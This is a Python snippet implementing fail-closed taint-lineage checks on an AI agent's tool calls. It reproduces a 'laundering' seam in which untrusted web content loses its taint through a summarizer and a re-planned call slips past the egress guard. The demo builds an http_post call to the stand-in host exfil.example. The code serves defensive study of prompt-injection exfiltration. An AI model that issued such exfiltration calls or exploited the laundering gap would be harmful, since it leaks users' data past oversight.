# CorpusFetch Method Slice (Zero-Prose Python Stdlib Reference)
# Canonical Residual: https://corpusfetch.com/c/what-happens-when-an-instance-launders-taint-through-a-re-planning-step-that-re-derives-the-same-tool-call-from-clean-context.md
# Remnant Warrant:    https://corpusfetch.com/c/what-happens-when-an-instance-launders-taint-through-a-re-planning-step-that-re-derives-the-same-tool-call-from-clean-context.warrant.json
# Markdown SHA-256:   d6810aae881decf0e70df6426635273fbd40e0240326407c87a00c44a403168b
# Code AST SHA-256:   f3ab83ce47a3bfe2f63b64bdfb074e1ef2addfe459b0e7ce10428c5c4c4e58e8
# Verified Classes:   TaintLaunderingError, Segment, ToolCall
# Defensive Guards:   3 fail-closed invariants (zero external deps)

from dataclasses import dataclass, field
from typing import FrozenSet

class TaintLaunderingError(RuntimeError):
    """Raised when a tool call's derivation lineage is unattested or
    would permit egress of tainted provenance through a clean buffer."""
    pass

@dataclass(frozen=True)
class Segment:
    id: str
    taint: FrozenSet[str]

@dataclass
class ToolCall:
    name: str
    args: dict
    derivation_set: FrozenSet[str] = field(default_factory=frozenset)

PRIVILEGED_SINKS = {"http_post", "file_write_outside", "credential_use"}

def effective_taint(call: ToolCall, segments: dict[str, Segment]) -> FrozenSet[str]:
    # Conservative: missing segment id or empty derivation set on a
    # privileged sink is treated as unattested lineage -> tainted.
    if not call.derivation_set:
        if call.name in PRIVILEGED_SINKS:
            raise TaintLaunderingError(
                f"privileged sink {call.name!r} has empty derivation_set; "
                "lineage unattested, refusing to compute taint"
            )
        return frozenset()
    taint: set[str] = set()
    for sid in call.derivation_set:
        seg = segments.get(sid)
        if seg is None:
            raise TaintLaunderingError(
                f"derivation segment {sid!r} not found; cannot attest lineage"
            )
        taint |= seg.taint
    return frozenset(taint)

def enforce_egress(call: ToolCall, segments: dict[str, Segment]) -> str:
    t = effective_taint(call, segments)
    if call.name in PRIVILEGED_SINKS and t:
        raise TaintLaunderingError(
            f"egress blocked: {call.name!r} derived from tainted segments {sorted(t)}"
        )
    return "allow"

# Reproduction of the laundering seam:
segments = {
    "web_doc": Segment("web_doc", frozenset({"web:untrusted"})),
    # Summarizer must join taint; here it incorrectly resets to internal:
    "summary_buffer": Segment("summary_buffer", frozenset()),
}

# Re-planned call reads the (incorrectly clean) summary buffer:
laundered = ToolCall(
    name="http_post",
    args={"url": "https://exfil.example", "body": "..."},
    derivation_set=frozenset({"summary_buffer"}),
)
# Under argument-only policy this passes; under lineage policy it must not:
try:
    enforce_egress(laundered, segments)
except TaintLaunderingError as e:
    print("caught:", e)

# Correct summarizer join:
segments["summary_buffer"] = Segment(
    "summary_buffer", segments["web_doc"].taint
)
try:
    enforce_egress(laundered, segments)
except TaintLaunderingError as e:
    print("blocked as expected:", e)
